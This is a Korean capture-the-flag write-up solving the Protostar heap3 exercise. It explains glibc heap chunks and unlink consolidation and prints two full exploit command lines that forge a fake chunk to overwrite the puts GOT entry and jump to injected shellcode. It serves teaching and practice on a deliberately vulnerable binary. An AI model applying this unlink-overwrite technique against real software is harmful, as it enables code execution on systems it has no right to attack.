본문으로 바로가기

Protostar Heap3 Write-Up

category 해킹/Write Up 2017. 1. 25. 23:26

0. Introduce

대표적인 Double Free Bug 예제라고 볼 수  있는 exploit-exercises_protostar_heap3 문제입니다.

protostar에 모든 문제 난이도가 그렇게 높지않아서 별로 기대는 안하고 풀어봤던건데 Heap을 잘 모르는 저에게 많은 공부가 되었습니다.

Heap구조나 Unlink 그리고 bin들에대한 이해도를 높일 수 있었습니다.


1. Linux Version

No LSB modules are available.

Distributor ID: Debian

Description: Debian GNU/Linux 6.0.3 (squeeze)

Release: 6.0.3

Codename: squeeze

(shell - bash)


2. Binary

heap3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped


   RELRO           STACK CANARY          NX              PIE                 RPATH      RUNPATH        FILE

No RELRO       No canary found   NX disabled    No PIE          No RPATH   No RUNPATH   heap3


3. Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
 
int main(int argc, char **argv)
{
  char *a, *b, *c;
 
  a = malloc(32);
  b = malloc(32);
  c = malloc(32);
 
  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);
 
  free(c);
  free(b);
  free(a);
 
  printf("dynamite failed?\n");
}

cs



4. Heap Overflow and Double Free Bug

1) Allocated chunk


2) free chunk


3) unlink

Bin 리스트에서 chunk를 제거하는 작업이다. unlink가 필요한 상황은 크게 두가지로 나누어진다.

- double linked list형식으로 관리되는 bin에서 중간에 있는 chunk를 free할 때

- chunk가 free되었을 때, 연속된 위치에 free된 chunk가 존재하면 두 chunk를 합병하여 새로운 chunk를 만드는데, 이 때 chunk 사이즈가 증가하므로 원래 있던 bin에서 제거하고 적절한 bin에 넣어줘야할 때 (지금 볼 unlink)


free가 진행될 때, prev_chunk와 next_chunk에 대해서 free되어있는지 조사한다.

이 때, free가 되었는지 안되었는지는 PREV_INUSE 를 통해 알 수 있다. (PREV_INUSE 가 1로 셋팅되어있으면 사용중인 chunk)


Free 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// free_function
 
INTERNAL_SIZE_T hd = p->size;
 ...
 if (!hd & PREV_INUSE))     /* consolidate backward */    /* [A] */
 {
   prevsz = p->prev_size;
   p = chunk_at_offset(p, -(long)prevsz);                 /* [B] */
   sz += prevsz;
 
   if (p->fd == last_remainder(ar_ptr))
     islr = 1;
   else
     unlink(p, bck, fwd);
 }

cs


unlink

1
2
3
4
5
6
7
8
//unlink
 
#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}
cs


이 때 PREV_INUSE 비트를 0으로 바꾸고 fd(forward pointer)와 bk(backward pointer)를 셋팅하면 Fake_chunk를 만들 수 있다.

하지만 glibc 2.3.2 이상 버전에서는  unlink시에 다음과 같이 두가지의 검증 루틴이 추가되었다. 


- unlink 하고자하는 청크의 다음청크의 이전청크가 나 자신인가?

- unlink 하고자하는 청크의 이전청크의 다음청크가 나 자신인가?


그렇기 때문에 이방법이 통하지 않는다.

하지만 지금은 glibc버전이 낮기때문에 PREV_INUSE와 fd, bk를 heapoverflow로 overwrite해서 fake chunk를만들어 풀 수 있다.

나는 이 문제를 풀 때 두가지를 시도해 보았다.


1. put_got를 winner()의 함수포인터로 덮어씌운다.

2. put_got를 a(malloc(32))에 data영역 포인터로 덮어씌우고 처음 strcpy로 a의 data영역에 쉘코드를 넣는다.


여기서 1번 방법은 fd, bk를 조작해서 put_got와 winner()의 포인터를 넣게되면 두 영역 전부 데이터를 쓸 수 있어야 하지만 winner부분은 code영역이라 쓸 수 없기때문에 오류가 난다. 그러므로 2번방법으로 풀어야 한다.

2번 방법도 두가지로 시도해보았다.


memory(a,b,c) : prev_size(4) size(4) data(32) prev_size(4) size(4) data(32) prev_size(4) size(4) data(32)


1. a의 data에 쉘코드를 넣고 b를 overflow시켜서 c에 prev_size와 size를 변경하고 data영역에 fd와 bk조작

2. a의 data에 쉘코드를 넣고 a를 overflow시켜서 b에 prev_size와 size를 변경하고 data영역에 fd와 bk조작


1번 Payload

./heap3 `python -c 'print "\x90" * 8 + "\x68\x64\x88\x04\x08\xc3" + " " + "A"*28 + "\xff" * 4 + "\xfc\xff\xff\xff"*2 + " " + "CCCC" + "\x1c\xb1\x04\x08" + "\x04\xc0\x04\x08"'`


a_prev_size(4) + a_size(4) + 0x90(8) + winnershellcode(6) + b_prev_size(4) + b_size(4) + padding(28) + fake_prev_size2(4) + fake_prev_size(4) + fake_size(4) +  dummy(4) + put_got - 12(4) + winnershellcode_add(4) 


2번의 Payload

./heap3 `python -c 'print "\x90" * 8 + "\x68\x64\x88\x04\x08\xc3" + "A" * 14 + "\xff" * 4 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + " " +"aaaa"+ "\x1c\xb1\x04\x08" + "\x04\xc0\x04\x08"'` C


a_prev_size(4) + a_size(4) + 0x90(8) + winnershellcode(6) + padding(14) + fake_prev_size2(4) + fake_prev_size(4) + fake_size(4) +  dummy(4) + put_got - 12(4) + winnershellcode_add(4)  + dummy(1)

exploit을 할 때 주의점
1. unlink를 잘 보면 P->fd->bk = P->bk 이런식으로 값이 대입된다. 그러므로  P -> fd에 bk = (P -> fd) + 0xc 인것을 조심해서 fd에 덮어씌여질 주소값을 넣으려면 주소값 - 12한 값을 넣어줘야 한다.

2. fake_chunk를 만들때는 fakechunk에 PREV_INUSE비트가 항상 0인지 확인해야 한다.

3. Unlink를 할 때 Prev_chunk와 Next_chunk를 검사하기때문에 fake chunk를 만들 때 Prev_chunk 에 prev_size와 size그리고 Next_chunk 에  prev_size와 size둘다 PREV_INUSE비트가 설정되있는 채로 값을 넣어줘야 한다.

4. scanf의 특성상 Overflow를 일으킬때 payload에 /x00를 넣지 못하므로 다른값을 넣어줘야 한다.



5. Reference

http://mashirogod.dothome.co.kr/index.php/2016/05/11/glibc-malloc-1/

https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/

http://daehee87.tistory.com/478